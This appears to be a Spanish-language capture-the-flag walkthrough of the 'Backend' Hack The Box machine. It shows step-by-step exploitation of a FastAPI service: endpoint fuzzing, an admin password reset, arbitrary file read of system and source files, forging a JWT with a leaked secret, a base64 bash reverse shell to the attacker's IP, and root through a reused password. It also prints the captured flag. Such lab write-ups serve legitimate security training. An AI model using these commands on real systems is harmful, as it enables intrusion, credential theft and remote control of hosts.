Backend



Conocimientos


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.161 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 09:02 GMT
Nmap scan report for 10.10.11.161
Host is up (0.081s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 14.39 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80 10.10.11.161 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 09:03 GMT
Nmap scan report for 10.10.11.161
Host is up (0.088s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    uvicorn
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: uvicorn
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     content-type: text/plain; charset=utf-8
|     Connection: close
|     Invalid HTTP request received.
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     date: Thu, 12 Oct 2023 13:14:20 GMT
|     server: uvicorn
|     content-length: 22
|     content-type: application/json
|     Connection: close
|     {"detail":"Not Found"}
|   GetRequest: 
|     HTTP/1.1 200 OK
|     date: Thu, 12 Oct 2023 13:14:07 GMT
|     server: uvicorn
|     content-length: 29
|     content-type: application/json
|     Connection: close
|     {"msg":"UHC API Version 1.0"}
|   HTTPOptions: 
|     HTTP/1.1 405 Method Not Allowed
|     date: Thu, 12 Oct 2023 13:14:14 GMT
|     server: uvicorn
|     content-length: 31
|     content-type: application/json
|     Connection: close
|_    {"detail":"Method Not Allowed"}
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94%I=7%D=10/12%Time=6527B658%P=x86_64-pc-linux-gnu%r(Get
SF:Request,AD,"HTTP/1\.1\x20200\x20OK\r\ndate:\x20Thu,\x2012\x20Oct\x20202
SF:3\x2013:14:07\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2029\r\n
SF:content-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"msg
SF:\":\"UHC\x20API\x20Version\x201\.0\"}")%r(HTTPOptions,BF,"HTTP/1\.1\x20
SF:405\x20Method\x20Not\x20Allowed\r\ndate:\x20Thu,\x2012\x20Oct\x202023\x
SF:2013:14:14\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2031\r\ncon
SF:tent-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"detail
SF:\":\"Method\x20Not\x20Allowed\"}")%r(RTSPRequest,76,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nCo
SF:nnection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(
SF:FourOhFourRequest,AD,"HTTP/1\.1\x20404\x20Not\x20Found\r\ndate:\x20Thu,
SF:\x2012\x20Oct\x202023\x2013:14:20\x20GMT\r\nserver:\x20uvicorn\r\nconte
SF:nt-length:\x2022\r\ncontent-type:\x20application/json\r\nConnection:\x2
SF:0close\r\n\r\n{\"detail\":\"Not\x20Found\"}")%r(GenericLines,76,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset
SF:=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20rec
SF:eived\.")%r(DNSVersionBindReqTCP,76,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(DNSStatusRequest
SF:TCP,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20text/pla
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20
SF:request\x20received\.")%r(SSLSessionReq,76,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConnection:
SF:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(TerminalS
SF:erverCookie,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20
SF:HTTP\x20request\x20received\.")%r(TLSSessionReq,76,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.35 seconds

Puerto 80 (HTTP)

Con whatweb analizo las tecnologías que emplea el servidor web

whatweb http://10.10.11.161
http://10.10.11.161 [200 OK] Country[RESERVED][ZZ], HTTPServer[uvicorn], IP[10.10.11.161]

La página principal corresponde a una API

curl -s -X GET 10.10.11.161 | jq
{
  "msg": "UHC API Version 1.0"
}

Aplico fuzzing para descubrir rutas

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.11.161/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.161/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                        
=====================================================================

000000076:   401        0 L      2 W        30 Ch       "docs"                                                                                                                                         
000001012:   200        0 L      1 W        20 Ch       "api"                                                                                                                                          
000045226:   200        0 L      4 W        29 Ch       "http://10.10.11.161/"                                                                                                                         

Total time: 392.8044
Processed Requests: 220546
Filtered Requests: 220543
Requests/sec.: 561.4651

Para leer /docs es necesario estar autenticado

curl -s -X GET http://10.10.11.161/docs | jq
{
  "detail": "Not authenticated"
}

Si embargo, en /api la respuesta cambia

curl -s -X GET http://10.10.11.161/api | jq
{
  "endpoints": [
    "v1"
  ]
}

Para el endpoint v1 existen user y admin

curl -s -X GET http://10.10.11.161/api/v1 | jq
{
  "endpoints": [
    "user",
    "admin"
  ]
}

Le tramito una petición por GET a user pero me devuelve un código de estado 404

curl -s -X GET http://10.10.11.161/api/v1/user | jq
{
  "detail": "Not Found"
}

Le introduzo un número suponiendo que se emplean como identificadores de usuario

curl -s -X GET http://10.10.11.161/api/v1/user/1 | jq
{
  "guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
  "email": "admin@htb.local",
  "date": null,
  "time_created": 1649533388111,
  "is_superuser": true,
  "id": 1
}

Para aquellos que no existen, la respuesta cambia

curl -s -X GET http://10.10.11.161/api/v1/user/2 | jq
null

Al tener una primera respuesta positiva, hago lo mismo con un bucle para encontrar otros posibles usuarios

wfuzz -c -t 200 --hc=404,422 --hh=4 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.11.161/api/v1/user/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.161/api/v1/user/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                        
=====================================================================

000000034:   200        0 L      1 W        141 Ch      "01"                                                                                                                                           
000000031:   200        0 L      1 W        141 Ch      "1"                                                                                                                                            
000001789:   200        0 L      1 W        141 Ch      "001"                                                                                                                                          
000004222:   200        0 L      1 W        141 Ch      "0001"                                                                                                                                         
000013645:   200        0 L      1 W        141 Ch      "00000001"                                                                                                                                     
000016027:   200        0 L      1 W        141 Ch      "00001"

Como por GET no he encontrado nada, cambio el método a POST

wfuzz -c -t 200 -X POST --hc=405 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.11.161/api/v1/user/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.161/api/v1/user/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                        
=====================================================================

000000203:   422        0 L      2 W        81 Ch       "signup"                                                                                                                                       
000000039:   422        0 L      3 W        172 Ch      "login"  

Hay que proporcionar los parámetros username y password para poder loggearse

curl -s -X POST http://10.10.11.161/api/v1/user/login | jq
{
  "detail": [
    {
      "loc": [
        "body",
        "username"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    },
    {
      "loc": [
        "body",
        "password"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    }
  ]
}

Por el momento no dispongo de credenciales válidas

url -s -X POST http://10.10.11.161/api/v1/user/login -d 'username=admin&password=admin' | jq
{
  "detail": "Incorrect username or password"
}

Pruebo a registrar un usuario

curl -s -X POST http://10.10.11.161/api/v1/user/signup -d 'username=admin&password=admin' | jq
{
  "detail": [
    {
      "loc": [
        "body"
      ],
      "msg": "value is not a valid dict",
      "type": "type_error.dict"
    }
  ]
}

Da un error de tipo de datos, así que cambio el formato a JSON

curl -s -X POST http://10.10.11.161/api/v1/user/signup -H 'Content-Type: application/json' -d '{"username":"admin","password":"admin"}' | jq
{
  "detail": [
    {
      "loc": [
        "body",
        "email"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    }
  ]
}

En el error se puede ver que el primer campo no es username si no email

curl -s -X POST http://10.10.11.161/api/v1/user/signup -H 'Content-Type: application/json' -d '{"email":"admin@htb.local","password":"admin"}' | jq
{
  "detail": "The user with this username already exists in the system"
}

Este usuario ya existe, como era de esperar, por lo que introduzco otro correo

curl -s -X POST http://10.10.11.161/api/v1/user/signup -H 'Content-Type: application/json' -d '{"email":"rubbx@htb.local","password":"admin"}' | jq
{}

Tras loggearme obtengo un JWT

curl -s -X POST http://10.10.11.161/api/v1/user/login -d 'username=rubbx@htb.local&password=admin' | jq
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3ODA5MzQyLCJpYXQiOjE2OTcxMTgxNDIsInN1YiI6IjIiLCJpc19zdXBlcnVzZXIiOmZhbHNlLCJndWlkIjoiYzIzMGExY2MtYTFjNi00NmVlLWJjNDgtZGFiOWNhYTc5MTViIn0.nw-T_3qB7JqdgUz1sg2lKZYMpiH0zQLaqs2q--5SB1I",
  "token_type": "bearer"
}

Desde jwt.io puedo ver como está formado

El campo is_superuser está setteado a false pero no puedo modificarlo al no disponer del secreto para firmarlo. Vuelvo a tramitar una petición por GET /docs, pero esta vez autenticado

curl -s -X GET http://10.10.11.161/docs -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3ODA5MzQyLCJpYXQiOjE2OTcxMTgxNDIsInN1YiI6IjIiLCJpc19zdXBlcnVzZXIiOmZhbHNlLCJndWlkIjoiYzIzMGExY2MtYTFjNi00NmVlLWJjNDgtZGFiOWNhYTc5MTViIn0.nw-T_3qB7JqdgUz1sg2lKZYMpiH0zQLaqs2q--5SB1I"

    <!DOCTYPE html>
    <html>
    <head>
    <link type="text/css" rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui.css">
    <link rel="shortcut icon" href="https://fastapi.tiangolo.com/img/favicon.png">
    <title>docs</title>
    </head>
    <body>
    <div id="swagger-ui">
    </div>
    <script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui-bundle.js"></script>
    <!-- `SwaggerUIBundle` is now available on the page -->
    <script>
    const ui = SwaggerUIBundle({
        url: '/openapi.json',
    "dom_id": "#swagger-ui",
"layout": "BaseLayout",
"deepLinking": true,
"showExtensions": true,
"showCommonExtensions": true,

    presets: [
        SwaggerUIBundle.presets.apis,
        SwaggerUIBundle.SwaggerUIStandalonePreset
        ],
    })
    </script>
    </body>
    </html>

Lo envio a BurpSuite para ver el HTML interpretado. Para ello necesito arrastrar la cabecera Authentication

Puedo ver los docs

Un endpoint permite ver la primera flag

Escalada

Es posible modificar la contraseña de cualquier usuario proporcionando su guid. Modifico la de admin

Ahora puedo iniciar sesión y obtener un nuevo JWT

curl -s -X POST http://10.10.11.161/api/v1/user/login -d 'username=admin@htb.local&password=pwned123' | jq
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3ODEwODk4LCJpYXQiOjE2OTcxMTk2OTgsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.mU5_m_ktg4qJz5dKSx43MW3tpodKHjbMivcBXJsrdq0",
  "token_type": "bearer"
}

Este usuario tiene un endpoint que permite ejecutar comandos

Pero no dispone del parámetro debug que es necesario. Sin embargo, existe otro que me permite traer archivos locales de la máquina

Obtengo el /etc/passwd como PoC

curl -s -X POST http://10.10.11.161/api/v1/admin/file -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3ODEwODk4LCJpYXQiOjE2OTcxMTk2OTgsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.mU5_m_ktg4qJz5dKSx43MW3tpodKHjbMivcBXJsrdq0" -H "Content-Type: application/json" -d '{"file":"/etc/passwd"}' | jq  -r '.["file"]' | grep sh$
root:x:0:0:root:/root:/bin/bash
htb:x:1000:1000:htb:/home/htb:/bin/bash

Listo las variables de entorno

curl -s -X POST http://10.10.11.161/api/v1/admin/file -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3ODEwODk4LCJpYXQiOjE2OTcxMTk2OTgsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.mU5_m_ktg4qJz5dKSx43MW3tpodKHjbMivcBXJsrdq0" -H "Content-Type: application/json" -d '{"file":"/proc/self/environ"}' | jq  -r '.["file"]' | tr ':' '\n'
APP_MODULE=app.main
appPWD=/home/htb/uhcLOGNAME=htbPORT=80HOME=/home/htbLANG=C.UTF-8VIRTUAL_ENV=/home/htb/uhc/.venvINVOCATION_ID=83a8dc6217124f6eabe2a17ecd2338eeHOST=0.0.0.0USER=htbSHLVL=0PS1=(.venv) JOURNAL_STREAM=9
18447PATH=/home/htb/uhc/.venv/bin
/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/binOLDPWD=/

Desde la ruta /home/htb/uhc/app/main.py puedo ver el código fuente

curl -s -X POST http://10.10.11.161/api/v1/admin/file -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3ODEwODk4LCJpYXQiOjE2OTcxMTk2OTgsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.mU5_m_ktg4qJz5dKSx43MW3tpodKHjbMivcBXJsrdq0" -H "Content-Type: application/json" -d '{"file":"/home/htb/uhc/app/main.py"}' | jq  -r '.["file"]' | tr ':' '\n'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import asyncio

from fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends
from fastapi_contrib.common.responses import UJSONResponse
from fastapi import FastAPI, Depends, HTTPException, status
from fastapi.security import HTTPBasic, HTTPBasicCredentials
from fastapi.openapi.docs import get_swagger_ui_html
from fastapi.openapi.utils import get_openapi



from typing import Optional, Any
from pathlib import Path
from sqlalchemy.orm import Session



from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings

from app import deps
from app import crud


app = FastAPI(title="UHC API Quals", openapi_url=None, docs_url=None, redoc_url=None)
root_router = APIRouter(default_response_class=UJSONResponse)


@app.get("/", status_code=200)
def root()

    """
    Root GET
    """
    return {"msg"
 "UHC API Version 1.0"}


@app.get("/api", status_code=200)
def list_versions()

    """
    Versions
    """
    return {"endpoints"
["v1"]}


@app.get("/api/v1", status_code=200)
def list_endpoints_v1()

    """
    Version 1 Endpoints
    """
    return {"endpoints"
["user", "admin"]}


@app.get("/docs")
async def get_documentation(
    current_user
 User = Depends(deps.parse_token)
    )

    return get_swagger_ui_html(openapi_url="/openapi.json", title="docs")

@app.get("/openapi.json")
async def openapi(
    current_user
 User = Depends(deps.parse_token)
)

    return get_openapi(title = "FastAPI", version="0.1.0", routes=app.routes)

app.include_router(api_router, prefix=settings.API_V1_STR)
app.include_router(root_router)

def start()

    import uvicorn

    uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")

if __name__ == "__main__"

    # Use this for debugging purposes only
    import uvicorn

    uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")

Se puede ver que se está importando la librería app.core.config. En python correspondería a la ruta /home/htb/uhc/app/core/config.py

curl -s -X POST http://10.10.11.161/api/v1/admin/file -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3ODEwODk4LCJpYXQiOjE2OTcxMTk2OTgsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.mU5_m_ktg4qJz5dKSx43MW3tpodKHjbMivcBXJsrdq0" -H "Content-Type: application/json" -d '{"file":"/home/htb/uhc/app/core/config.py"}' | jq  -r '.["file"]' | tr ':' '\n'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pydantic import AnyHttpUrl, BaseSettings, EmailStr, validator
from typing import List, Optional, Union

from enum import Enum


class Settings(BaseSettings)

    API_V1_STR
 str = "/api/v1"
    JWT_SECRET
 str = "SuperSecretSigningKey-HTB"
    ALGORITHM
 str = "HS256"

    # 60 minutes * 24 hours * 8 days = 8 days
    ACCESS_TOKEN_EXPIRE_MINUTES
 int = 60 * 24 * 8

    # BACKEND_CORS_ORIGINS is a JSON-formatted list of origins
    # e.g
 '["http
//localhost", "http
//localhost
4200", "http
//localhost
3000", \
    # "http
//localhost
8080", "http
//local.dockertoolbox.tiangolo.com"]'
    BACKEND_CORS_ORIGINS
 List[AnyHttpUrl] = []

    @validator("BACKEND_CORS_ORIGINS", pre=True)
    def assemble_cors_origins(cls, v
 Union[str, List[str]]) -> Union[List[str], str]

        if isinstance(v, str) and not v.startswith("[")

            return [i.strip() for i in v.split(",")]
        elif isinstance(v, (list, str))

            return v
        raise ValueError(v)

    SQLALCHEMY_DATABASE_URI
 Optional[str] = "sqlite
///uhc.db"
    FIRST_SUPERUSER
 EmailStr = "root@ippsec.rocks"    

    class Config

        case_sensitive = True
 

settings = Settings()

Contiene el secreto que me permite crear y modificar JWT. Añado el parámetro debug que faltaba

Puedo ejecutar comandos

curl -s -X GET http://10.10.11.161/api/v1/admin/exec/whoami -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3ODEwODk4LCJpYXQiOjE2OTcxMTk2OTgsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImRlYnVnIjp0cnVlLCJndWlkIjoiMzZjMmU5NGEtNDI3MS00MjU5LTkzYmYtYzk2YWQ1OTQ4Mjg0In0.D2KDtJaiztxRt_7Ud_LarXC4Bm5MX2hgOvtBlHa5pig" | jq
"htb"

Creo una cadena en base64 que se encargue de enviarme una reverse shell

echo -n "bash -c 'bash -i >& /dev/tcp/10.10.16.4/443 0>&1'" | base64 -w 0
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0MyAwPiYxJw==

En el endpoint le hago el decode y ejecuto

curl -s -X GET 'http://10.10.11.161/api/v1/admin/exec/echo%20YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0MyAwPiYxJw==|base64%20-d%20|bash' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3ODEwODk4LCJpYXQiOjE2OTcxMTk2OTgsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImRlYnVnIjp0cnVlLCJndWlkIjoiMzZjMmU5NGEtNDI3MS00MjU5LTkzYmYtYzk2YWQ1OTQ4Mjg0In0.D2KDtJaiztxRt_7Ud_LarXC4Bm5MX2hgOvtBlHa5pig" | jq

Gano acceso al sistema

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.161] 35152
bash: cannot set terminal process group (670): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

htb@backend:~/uhc$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

htb@backend:~/uhc$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
htb@backend:~/uhc$ export TERM=xterm-color
htb@backend:~/uhc$ export SHELL=bash
htb@backend:~/uhc$ stty rows 55 columns 209
htb@backend:~/uhc$ source ~/.bashrc 

En el archivo auth.log se lekea una contraseña

tb@backend:~/uhc$ cat auth.log 
10/12/2023, 11:48:03 - Login Success for admin@htb.local
10/12/2023, 11:51:23 - Login Success for admin@htb.local
10/12/2023, 12:04:43 - Login Success for admin@htb.local
10/12/2023, 12:08:03 - Login Success for admin@htb.local
10/12/2023, 12:13:03 - Login Success for admin@htb.local
10/12/2023, 12:16:23 - Login Success for admin@htb.local
10/12/2023, 12:29:43 - Login Success for admin@htb.local
10/12/2023, 12:38:03 - Login Success for admin@htb.local
10/12/2023, 12:39:43 - Login Success for admin@htb.local
10/12/2023, 12:46:23 - Login Success for admin@htb.local
10/12/2023, 12:54:43 - Login Failure for Tr0ub4dor&3
10/12/2023, 12:56:18 - Login Success for admin@htb.local
10/12/2023, 12:56:23 - Login Success for admin@htb.local
10/12/2023, 12:56:43 - Login Success for admin@htb.local
10/12/2023, 12:58:03 - Login Success for admin@htb.local
10/12/2023, 13:03:03 - Login Success for admin@htb.local
10/12/2023, 13:09:43 - Login Success for admin@htb.local
10/12/2023, 13:35:37 - Login Failure for admin
10/12/2023, 13:41:53 - Login Failure for rubbx
10/12/2023, 13:42:21 - Login Success for rubbx@htb.local
10/12/2023, 13:56:15 - Login Success for rubbx@htb.local
10/12/2023, 14:08:17 - Login Success for admin@htb.local

Se reutiliza para el usuario root a nivel de sistema. Puedo ver la segunda flag

htb@backend:~/uhc$ su root
Password: 
root@backend:/home/htb/uhc# cat /root/root.txt 
fd8d2d5069683846dab92a4c5522de48